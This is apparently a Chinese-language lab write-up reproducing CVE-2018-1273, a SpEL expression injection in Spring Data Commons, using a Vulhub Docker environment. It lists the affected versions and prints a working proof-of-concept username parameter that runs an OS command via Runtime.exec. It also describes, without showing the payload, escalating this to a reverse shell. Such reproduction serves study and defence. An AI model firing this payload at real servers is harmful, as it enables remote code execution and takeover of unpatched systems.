0%

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响版本

Spring Data Commons 1.13 - 1.13.10(Ingalls SR10)

Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)

Spring Data Commons 2.0 - 2.0.5 (Kay SR5)

Spring Data REST 3.0 - 3.0.5 (Kay SR5)

已不支持的旧版本

环境搭建

1
2
cd /vulhub/spring/CVE-2018-1273/
docker-compose up -d

稍等一会,环境启动后,访问http://your-ip:8080/users,将可以看到一个用户注册页面。

image

漏洞复现

填写信息,点击Register user 然后抓包

image

修改username参数POC并发包:

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=

image

进入docker容器查看:

image

修改poc为反弹shell:
还是先base64编码,再url编码后发包:

image

反弹shell成功:

image